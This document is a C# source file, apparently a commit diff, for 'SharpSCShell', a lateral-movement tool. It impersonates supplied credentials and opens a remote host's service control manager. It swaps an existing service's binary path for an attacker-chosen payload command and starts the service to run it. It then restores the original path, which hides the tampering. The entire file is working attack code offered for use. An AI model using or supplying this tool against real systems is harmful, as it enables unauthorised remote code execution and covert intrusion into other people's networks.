1+ using System ;
2+ using System . Collections . Generic ;
3+ using System . Linq ;
4+ using System . Runtime . InteropServices ;
5+ using System . Text ;
6+
7+ namespace SharpSCShell
8+ {
9+ class Program
10+ {
11+ [ DllImport ( "advapi32.dll" , SetLastError = true , BestFitMapping = false , ThrowOnUnmappableChar = true ) ]
12+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
13+ internal static extern bool LogonUser (
14+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszUsername ,
15+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszDomain ,
16+ [ MarshalAs ( UnmanagedType . LPStr ) ] string lpszPassword ,
17+ int dwLogonType ,
18+ int dwLogonProvider ,
19+ ref IntPtr phToken ) ;
20+
21+ [ DllImport ( "advapi32.dll" , SetLastError = true ) ]
22+ static extern bool ImpersonateLoggedOnUser ( IntPtr hToken ) ;
23+
24+
25+ [ DllImport ( "advapi32.dll" , EntryPoint = "OpenSCManagerW" , ExactSpelling = true , CharSet = CharSet . Unicode , SetLastError = true ) ]
26+ public static extern IntPtr OpenSCManager (
27+ string lpMachineName ,
28+ string lpDatabaseName ,
29+ uint dwDesiredAccess ) ;
30+
31+ [ DllImport ( "advapi32.dll" , SetLastError = true , CharSet = CharSet . Auto ) ]
32+ static extern IntPtr OpenService (
33+ IntPtr hSCManager ,
34+ string lpServiceName ,
35+ uint dwDesiredAccess ) ;
36+
37+ [ DllImport ( "advapi32.dll" ,
38+ SetLastError = true , CharSet = CharSet . Auto ) ]
39+ private static extern int QueryServiceConfig (
40+ IntPtr service ,
41+ IntPtr queryServiceConfig ,
42+ int bufferSize ,
43+ ref int bytesNeeded ) ;
44+
45+ [ DllImport ( "advapi32.dll" , EntryPoint = "ChangeServiceConfig" ) ]
46+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
47+ public static extern bool ChangeServiceConfigA (
48+ IntPtr hService ,
49+ uint dwServiceType ,
50+ int dwStartType ,
51+ int dwErrorControl ,
52+ string lpBinaryPathName ,
53+ string lpLoadOrderGroup ,
54+ string lpdwTagId ,
55+ string lpDependencies ,
56+ string lpServiceStartName ,
57+ string lpPassword ,
58+ string lpDisplayName ) ;
59+
60+ [ DllImport ( "advapi32" , SetLastError = true ) ]
61+ [ return : MarshalAs ( UnmanagedType . Bool ) ]
62+ public static extern bool StartService (
63+ IntPtr hService ,
64+ int dwNumServiceArgs ,
65+ string [ ] lpServiceArgVectors
66+ ) ;
67+ public enum ACCESS_MASK : uint
68+ {
69+ STANDARD_RIGHTS_REQUIRED = 0x000F0000 ,
70+ STANDARD_RIGHTS_READ = 0x00020000 ,
71+ STANDARD_RIGHTS_WRITE = 0x00020000 ,
72+ STANDARD_RIGHTS_EXECUTE = 0x00020000 ,
73+ }
74+ public enum SCM_ACCESS : uint
75+ {
76+ SC_MANAGER_CONNECT = 0x00001 ,
77+ SC_MANAGER_CREATE_SERVICE = 0x00002 ,
78+ SC_MANAGER_ENUMERATE_SERVICE = 0x00004 ,
79+ SC_MANAGER_LOCK = 0x00008 ,
80+ SC_MANAGER_QUERY_LOCK_STATUS = 0x00010 ,
81+ SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020 ,
82+ SC_MANAGER_ALL_ACCESS = ACCESS_MASK . STANDARD_RIGHTS_REQUIRED |
83+ SC_MANAGER_CONNECT |
84+ SC_MANAGER_CREATE_SERVICE |
85+ SC_MANAGER_ENUMERATE_SERVICE |
86+ SC_MANAGER_LOCK |
87+ SC_MANAGER_QUERY_LOCK_STATUS |
88+ SC_MANAGER_MODIFY_BOOT_CONFIG ,
89+
90+ GENERIC_READ = ACCESS_MASK . STANDARD_RIGHTS_READ |
91+ SC_MANAGER_ENUMERATE_SERVICE |
92+ SC_MANAGER_QUERY_LOCK_STATUS ,
93+
94+ GENERIC_WRITE = ACCESS_MASK . STANDARD_RIGHTS_WRITE |
95+ SC_MANAGER_CREATE_SERVICE |
96+ SC_MANAGER_MODIFY_BOOT_CONFIG ,
97+
98+ GENERIC_EXECUTE = ACCESS_MASK . STANDARD_RIGHTS_EXECUTE |
99+ SC_MANAGER_CONNECT | SC_MANAGER_LOCK ,
100+
101+ GENERIC_ALL = SC_MANAGER_ALL_ACCESS ,
102+ }
103+ public enum SERVICE_ACCESS : uint
104+ {
105+ STANDARD_RIGHTS_REQUIRED = 0xF0000 ,
106+ SERVICE_QUERY_CONFIG = 0x00001 ,
107+ SERVICE_CHANGE_CONFIG = 0x00002 ,
108+ SERVICE_QUERY_STATUS = 0x00004 ,
109+ SERVICE_ENUMERATE_DEPENDENTS = 0x00008 ,
110+ SERVICE_START = 0x00010 ,
111+ SERVICE_STOP = 0x00020 ,
112+ SERVICE_PAUSE_CONTINUE = 0x00040 ,
113+ SERVICE_INTERROGATE = 0x00080 ,
114+ SERVICE_USER_DEFINED_CONTROL = 0x00100 ,
115+ SERVICE_ALL_ACCESS = ( STANDARD_RIGHTS_REQUIRED |
116+ SERVICE_QUERY_CONFIG |
117+ SERVICE_CHANGE_CONFIG |
118+ SERVICE_QUERY_STATUS |
119+ SERVICE_ENUMERATE_DEPENDENTS |
120+ SERVICE_START |
121+ SERVICE_STOP |
122+ SERVICE_PAUSE_CONTINUE |
123+ SERVICE_INTERROGATE |
124+ SERVICE_USER_DEFINED_CONTROL )
125+ }
126+ private struct QueryServiceConfigStruct
127+ {
128+ public int serviceType ;
129+ public int startType ;
130+ public int errorControl ;
131+ public IntPtr binaryPathName ;
132+ public IntPtr loadOrderGroup ;
133+ public int tagID ;
134+ public IntPtr dependencies ;
135+ public IntPtr startName ;
136+ public IntPtr displayName ;
137+ }
138+
139+
140+ [ DllImport ( "kernel32.dll" ) ]
141+ public static extern uint GetLastError ( ) ;
142+
143+ [ DllImport ( "kernel32.dll" ) ]
144+ static extern IntPtr GlobalAlloc ( uint uFlags , UIntPtr dwBytes ) ;
145+
146+ static void Main ( string [ ] args )
147+ {
148+ Console . WriteLine ( ) ;
149+ Console . WriteLine ( "=============== SharpSCShell --> Revised at Rcoil (C# version) =============== " ) ;
150+ Console . WriteLine ( ) ;
151+ if ( args . Length < 2 )
152+ {
153+ Console . WriteLine ( "SharpSCShell.exe target service payload domain username password" ) ;
154+ Environment . Exit ( 0 ) ;
155+ }
156+
157+ string target = args [ 0 ] ;
158+ string ServiceName = args [ 1 ] ;
159+ string payload = args [ 2 ] ;
160+ string domain = args [ 3 ] ;
161+ string username = args [ 4 ] ;
162+ string password = args [ 5 ] ;
163+ const int LOGON32_LOGON_NEW_CREDENTIALS = 9 ;
164+ const int LOGON32_PROVIDER_DEFAULT = 0 ;
165+ const uint SERVICE_NO_CHANGE = 0xffffffff ;
166+ const int SERVICE_DEMAND_START = 0x00000003 ;
167+ const int SERVICE_ERROR_IGNORE = 0x00000000 ;
168+ IntPtr phToken = IntPtr . Zero ;
169+ int bytesNeeded = 5 ;
170+
171+ Console . WriteLine ( "[*] Trying to connect to {0}" , target ) ;
172+ bool bResult = false ;
173+ if ( username != null )
174+ {
175+ Console . WriteLine ( "[*] Username was provided attempting to call LogonUser" ) ;
176+ bResult = LogonUser ( username , domain , password , LOGON32_LOGON_NEW_CREDENTIALS , LOGON32_PROVIDER_DEFAULT , ref phToken ) ;
177+ if ( ! bResult )
178+ {
179+ Console . WriteLine ( "[!] LogonUser failed. Error:{0}" , GetLastError ( ) ) ;
180+ Environment . Exit ( 0 ) ;
181+ }
182+ }
183+ bResult = ImpersonateLoggedOnUser ( phToken ) ;
184+ if ( ! bResult )
185+ {
186+ Console . WriteLine ( "[!] ImpersonateLoggedOnUser failed. Error:{0}" , GetLastError ( ) ) ;
187+ Environment . Exit ( 0 ) ;
188+ }
189+
190+ IntPtr SCMHandle = OpenSCManager ( target , null , ( uint ) SCM_ACCESS . SC_MANAGER_ALL_ACCESS ) ;
191+ if ( SCMHandle == IntPtr . Zero )
192+ {
193+ Console . WriteLine ( "[!] OpenSCManagerA failed! Error:{0}" , GetLastError ( ) ) ;
194+ Environment . Exit ( 0 ) ;
195+ }
196+ Console . WriteLine ( "[*] SC_HANDLE Manager 0x{0}" , SCMHandle ) ;
197+
198+ Console . WriteLine ( "[*] Opening {0} Service ...." , ServiceName ) ;
199+ IntPtr schService = OpenService ( SCMHandle , ServiceName , ( ( uint ) SERVICE_ACCESS . SERVICE_ALL_ACCESS ) ) ;
200+ Console . WriteLine ( "[*] SC_HANDLE Service 0x{0}" , schService ) ;
201+
202+
203+ QueryServiceConfigStruct qscs = new QueryServiceConfigStruct ( ) ;
204+ IntPtr qscPtr = Marshal . AllocCoTaskMem ( 0 ) ;
205+ int retCode = QueryServiceConfig ( schService , qscPtr , 0 , ref bytesNeeded ) ;
206+ if ( retCode == 0 && bytesNeeded == 0 )
207+ {
208+ Console . WriteLine ( "[!] QueryServiceConfig failed to read the service path. Error:{0}" , GetLastError ( ) ) ;
209+ }
210+ else
211+ {
212+ Console . WriteLine ( "[*] LPQUERY_SERVICE_CONFIGA need {0} bytes" , bytesNeeded ) ;
213+ qscPtr = Marshal . AllocCoTaskMem ( bytesNeeded ) ;
214+ retCode = QueryServiceConfig ( schService , qscPtr , bytesNeeded , ref bytesNeeded ) ;
215+ qscs . binaryPathName = IntPtr . Zero ;
216+
217+ qscs = ( QueryServiceConfigStruct ) Marshal . PtrToStructure ( qscPtr , new QueryServiceConfigStruct ( ) . GetType ( ) ) ;
218+ }
219+
220+ string originalBinaryPath = Marshal . PtrToStringAuto ( qscs . binaryPathName ) ;
221+ Console . WriteLine ( "[*] Original service binary path \" {0}\" " , originalBinaryPath ) ;
222+ Marshal . FreeCoTaskMem ( qscPtr ) ;
223+
224+ bResult = ChangeServiceConfigA ( schService , SERVICE_NO_CHANGE , SERVICE_DEMAND_START , SERVICE_ERROR_IGNORE , payload , null , null , null , null , null , null ) ;
225+ if ( ! bResult )
226+ {
227+ Console . WriteLine ( "[!] ChangeServiceConfigA failed to update the service path. Error:{0}" , GetLastError ( ) ) ;
228+ Environment . Exit ( 0 ) ;
229+ }
230+ Console . WriteLine ( "[*] Service path was changed to \" {0}\" " , payload ) ;
231+
232+
233+ bResult = StartService ( schService , 0 , null ) ;
234+ uint dwResult = GetLastError ( ) ;
235+ if ( ! bResult && dwResult != 1053 )
236+ {
237+ Console . WriteLine ( "[!] StartServiceA failed to start the service. Error:{0}" , GetLastError ( ) ) ;
238+ Environment . Exit ( 0 ) ;
239+ }
240+ else
241+ {
242+ Console . WriteLine ( "[*] Service was started" ) ;
243+ }
244+ bResult = ChangeServiceConfigA ( schService , SERVICE_NO_CHANGE , SERVICE_DEMAND_START , SERVICE_ERROR_IGNORE , originalBinaryPath , null , null , null , null , null , null ) ;
245+ if ( ! bResult )
246+ {
247+ Console . WriteLine ( "[!] ChangeServiceConfigA failed to revert the service path. Error:{0}" , GetLastError ( ) ) ;
248+ Environment . Exit ( 0 ) ;
249+ }
250+ else
251+ {
252+ Console . WriteLine ( "[*] Service path was restored to \" {0}\" " , originalBinaryPath ) ;
253+ }
254+ }
255+ }
256+ }
0 commit comments